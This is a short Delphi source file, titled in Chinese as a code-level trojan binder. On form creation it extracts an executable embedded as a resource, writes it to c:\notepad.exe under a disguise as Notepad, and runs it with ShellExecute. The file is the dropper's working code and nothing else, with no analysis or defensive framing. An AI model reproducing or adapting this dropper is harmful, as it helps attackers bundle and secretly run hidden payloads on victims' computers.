unit1.pas

Delphi代码层捆绑木马

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Shellapi;

type
  TForm1 = class(TForm)
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}
{$R notepad.res}

Function ExtractRes(ResType, ResName, ResNewName : String):boolean;
var
Res : TResourceStream;
begin
try
Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(ResNewName);
Result:=true;
finally
Res.Free;
end;
except
Result:=false;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ExtractRes('exe','xxx','c:\notepad.exe');
  ShellExecute(Handle, 'open', PChar('c:\notepad.exe'), nil, nil, SW_SHOW);
end;

end.